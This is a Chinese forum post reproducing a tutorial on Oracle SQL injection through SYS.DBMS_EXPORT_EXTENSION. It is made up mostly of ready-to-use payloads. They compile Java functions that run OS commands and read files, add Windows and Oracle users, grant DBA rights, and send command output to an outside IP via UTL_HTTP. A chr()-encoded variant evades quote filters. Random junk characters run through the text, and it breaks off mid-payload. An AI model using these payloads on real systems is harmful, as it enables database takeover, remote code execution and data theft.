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标题: 犀利的 oracle 注入技术 [打印本页]

作者: admin    时间: 2012-9-13 16:49
标题: 犀利的 oracle 注入技术

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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成% l; _9 H7 j! J( n

0 M4 e, q5 u' Y9 c, m3 G4 B5 t/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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+ v$ I  i# F! y# a9 Q* b. [的形式即可。(用" 'a'|| "是为了让语句返回true值). f' h# c4 a6 X& p% T: ^2 R1 g

" q! H+ o! ]8 k8 @0 c语句有点长,可能要用post提交。2 \, G  R  p! R8 n0 Q  s( O
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+ Z) d. E0 `9 a0 p+ ?$ T以下是各个步骤:# ~& O  i. D3 v; v( {  ?
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1.创建包3 H4 B$ S$ Y# e
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:1 o  v9 I% W# K0 g7 w: J) Y: d

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 y  Z+ w0 d) O  h0 [& D) V0 D
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(3 L, g6 G$ N# @% X( i0 p
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
' u6 c( q( A8 T. d$ q. s8 R}'''';END;'';END;--','SYS',0,'1',0) from dual
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------------------------
# G+ _: y0 u7 _- A3 _, v4 J4 D% _如果url有长度限制,可以把readFile()函数块去掉,即:, ]* j! A: Q3 @  |) E& ~7 j8 g; i3 S
/xxx.jsp?id=1 and '1'<>'a'||(% A7 h5 _1 Q* E" W, W$ J

6 t# }/ q4 i& V, z; o* s* {' Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ c4 {+ L/ P) C/ h7 c5 jcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
- u) E  _# f( l! P7 |new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
1 R; s. t# t6 s}'''';END;'';END;--','SYS',0,'1',0) from dual
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4 s. ]7 U/ p" _) {8 D9 N同时把后面步骤 提到的 对readFile()的处理语句去掉。
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2 }* V! y: |& r; l' a2.赋Java权限1 ^. T/ I3 H, S% w
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual, A# {! @9 Q8 ]& t6 K( b3 J

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3.创建函数6 l- Q: c1 r: ]' O: m

+ ^8 W+ N* g  y' H: w8 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 M, j. s- Z5 s9 `/ N% w4 p
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual5 Z* d3 c1 E  q& U* E! s) Q: J3 j

$ o/ _  g( U% h8 L% Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 R  F! b: a( G- rcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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/ F: }5 K4 R7 [' V$ G4 z2 c% L4.赋public执行函数的权限
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9 u. O: g+ Q& O4 r5 ]! pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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- O' R% J+ q) q0 ^" Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual7 E2 n- \7 d  u
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$ ?: c/ w! e9 X& }6 W9 c# M5.测试上面的几步是否成功! H9 q. I' d( {# x! f9 K
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and '1'<>'11'||(
0 T8 N4 l9 J8 c- pselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'$ y+ b1 T0 s6 Y( ^7 X1 r+ F/ r
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select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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6.执行命令:" B! A4 w* X8 d# o- j6 Y' S
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/xxx.jsp?id=1 and '1'<>(# @7 y& c7 n3 g5 ^* c
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/xxx.jsp?id=1 and '1'<>(% V: ~( I% F' p* x2 g- v" ?
select sys.LinxReadFile('c:/boot.ini') from dual# G0 X2 E$ ~* h9 F( b6 J9 n" c2 E" b
)
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2 m2 k  {) c: Y  |注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。: h+ g$ t4 H* @1 ]: j
如果要查看运行结果可以用 union :2 `* ]3 F, h( S7 ^

; U. a$ K% {. ?! C, ~' C* A3 f1 P. H/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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或者UTL_HTTP.request(:
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: w* Y! r6 M/ L, \3 E$ R, {0 ?) J9 ASELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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/xxx.jsp?id=1 and '1'<>(
. T* A6 R% m& ?! sSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。0 ?7 f/ Y2 O9 `# C% Y
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" B) l# Y0 s3 A  x6.内部变化: ?- x& _' P4 P9 g
通过以下命令可以查看all_objects表达改变:
# x4 @+ x6 z' s) g7 |select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数4 x2 D5 g# y; E8 A- M1 }7 L
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( W6 g: l8 g1 K5 f& f; K# |
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
; _  b- @9 }: L  m' t+ _; E$ Q( Z全文结束。谨以此文赠与我的朋友。3 S2 y2 A5 A* q% |) W1 u
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linx
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  M( C. X# s+ [1 D/ ]2008.1.12
* w, G4 N4 A* L5 F' _4 l; b( Plinyujian@bjfu.edu.cn
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======================================================================& l- I- @3 E; @  a4 ~
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测试漏洞的另一方法:+ k" T6 u' \" N: ?9 v

  `- O' i. `0 N创建oracle帐号:) A# D6 p3 o; _1 e' e% W
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( H& N; I, p5 t# w- h$ [; cCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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即:( y2 Z+ n- o- |# ]
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82)," M8 {( i$ e9 M" J1 I
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:
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select user_id from all_users where username='LINXSQL'8 _/ D. ^: k1 I0 ]' k3 a: K3 m
)
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- f$ k& @* t- @& t4 I给linxsql连接权限:
3 B% B2 H8 w6 X- h) L1 z0 B( O+ Y8 kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# g  w* y) E- q$ b# _# q
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual; K" e4 I' i0 c9 W# C# W: Z
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删除帐号:
; K4 e9 ?. o7 M" Q, j9 uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 c) }0 w; d5 d8 w# Q. ?drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual8 a, w$ s: g; `5 y5 r8 q% Q

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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:% U4 t" E6 _, j; H# X

' B0 y( C' F8 v1.jsp?id=1 and '1'<>(
- F1 K. L0 v* o- z  a% z/ Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 X0 u* @3 r1 v  V) V6 Rcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual" {+ M" C4 Z) p- q8 e
) and ...
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) J6 H0 J0 u. T1.jsp?id=1 and '1'<>(
/ i1 i7 A5 S& [7 K; Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual6 M7 o  w. X6 ?( _
) and ...4 A8 o9 A" `4 T' M& a0 k4 H

: ]. ?  W* G  H' s3 p% l' E4 O7 _1.jsp?id=1 and '1'<>(
7 D" C2 l' r2 ^+ E5 ISELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
2 X/ s6 ?2 x% S$ y) and ...
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6 S4 E/ m2 N5 z7 o& A" ISELECT sys.Linx_Query('declare pragma
; h, Z3 Z  g! }/ Kautonomous_transaction; begin execute immediate ''6 ~1 |$ l8 L, i8 i; h6 w
select 1 from dual
- }! v3 g# |+ `8 L& f" s$ @''; commit; end;') from dual
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多语句:
+ _, Q+ `) z9 `4 x. v# YSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual& i& Y$ a. `/ z: C' O  z
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创建用户(除非当前用户有system权限,否则无法成功):
  `: h6 A; f& [, z9 e/ HSELECT sys.Linx_Query('declare pragma
4 i& y6 ?* k1 x" K) mautonomous_transaction; begin execute immediate ''
* R8 ^" g; H# ?2 KCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
& R7 f# P/ h  h" Q) p' K''; commit; end;') from dual) o: y: a/ \' q

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以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()7 M2 C/ f' H: Q

8 R2 v8 o' K' m+ i/ \1.创建函数
$ d9 _1 T; Q/ K1 qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. P9 ]& W% B# k6 k; P, y. E) X7 Z
create or replace function Linx_Query (p
- K6 o% Y  t- o+ ]6 }0 Z8 L2 z6 {varchar2) return number authid current_user is begin execute immediate
" u. D$ e% e# m0 Np; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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如果有权限,以下语句应该允许正常# H( a3 y! w3 q: n) M' ?2 T
select sys.linx_query('select 1 from dual') from dual;
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不然的话运行:0 s3 x/ J) j$ x1 s: ~0 }

7 E. z1 f% Y1 `! f( Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- C2 k# A2 B5 }: vgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual: j% _: o4 E7 ?. s. b) G1 A
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2.创建包
- u0 G' Z" b2 \. h  C! ]8 BSELECT sys.Linx_Query('declare pragma
/ f0 s% R$ U0 v, Pautonomous_transaction; begin execute immediate ''4 m2 u) ^4 Q; d& h
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(4 c3 g2 J) ^8 N# b+ D
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
+ ^6 B$ x+ g( u. ]/ U; \* i1 k4 h: W- g3 A7 I
3.创建函数. O, ^. \4 @8 }# h- ?; h# n2 L4 d
SELECT sys.Linx_Query('declare pragma
! {# B3 \! O: N0 z- C* c# ^autonomous_transaction; begin execute immediate ''
% X+ C$ w: s5 e: Z/ P' d6 b4 c. qcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
# i7 v  w5 Y( s8 E' l0 l
. }- u# c/ W2 u- a1 m/ Z7 n" n4 I4.给权限
6 i, {% E9 ^( d9 U& z给用户SYSTEM执行权限:
0 l7 p* U4 A( t5 G1 D+ j
/ w0 K* k/ G% ySELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual: M# a# x0 |" k5 W3 D
  t3 F" t1 h1 {+ Q

0 z. X: B8 T; H% n, t" N4 w' w( i' g' h3 C" y# |6 ^
5.执行函数
# ]/ @) g' U1 Y4 Gselect RunCMD2('cmd /c dir') from dual
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# {( a# `4 s" {
- w- |+ G) u7 p* V" K: M) M$ q
- I! p$ ?1 M6 }# A) [1 D) K1 S% j; o

$ {9 `' [6 R4 d* a) a" t==================
0 V/ @' C$ i& L# G4 _! h================================
+ |7 h4 O! U0 [) s" x$ G6 `' v" w3 {8 c" `
以下是无 " ' " 版:
  J; a: a! H! g$ H* x1 B
$ a5 v- D" ^  Y0 L; l# x以下是各个步骤:
+ I" U/ S/ l; A1 o
1 j* Y% q  I' g: `. {1.创建包3 }# Z( u5 v9 h( V6 O8 S
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
6 i! D; W, ?" X因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:# P, q& D' ~* A/ q; Q8 ]

# y, `# U% `* Z9 N, d# U+ M/xxx.jsp?id=1 and chr(49)<>chr(50)||(, `  m. I$ f' p1 f) Q' ^( H. y
! `5 K7 Y! F6 m; I$ @
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),, O4 |2 j' e# O) e+ V
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||8 Z3 @6 ^# s+ G% N- e- [' x( U1 g
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
3 J4 [6 E+ s, c0 Q% Y% wchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
; O  z5 N4 f: H/ `3 Lchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
- u% m7 `  f8 C+ p* rchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
9 I% o/ C/ q) [1 _. @2 Pchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
- E+ B) s% p& M0 a0 x+ schr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
* ~  I/ e, N6 w4 ]: a4 I' F" r; \chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
* |$ ?/ }9 `5 }# zchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
# M5 ?9 \5 y% N6 L& nchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||$ y' `2 D" U) D$ J5 D# c! X
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||+ Q6 r1 |& a% I  P
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
  x9 @. x: ]- Z/ ?$ u2 K7 k8 V* Fchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
7 |9 N( @3 M2 d0 Y( M& Nchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
* d  ]5 |" }* [) Uchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
! _6 ~1 ?( e) y2 l7 Q( Mchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
" s1 S9 ]4 u* r6 w4 `" Y- dchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||% ~8 r8 \0 r0 {* F$ Q, T8 R3 z" x
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||; U! i1 O0 e  Y3 j- E5 Y. v0 g& p
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||# i. l" E' d0 a
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||6 b9 r: k3 K" ~
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||1 a5 v( e2 L' ~* b7 U7 E! ~
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
/ t1 H- o1 l" z9 Z3 Cchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||8 Q: C; u2 R% v& D- b
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||. M: O* _" ]) v) h) }: r2 I% H, Y
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
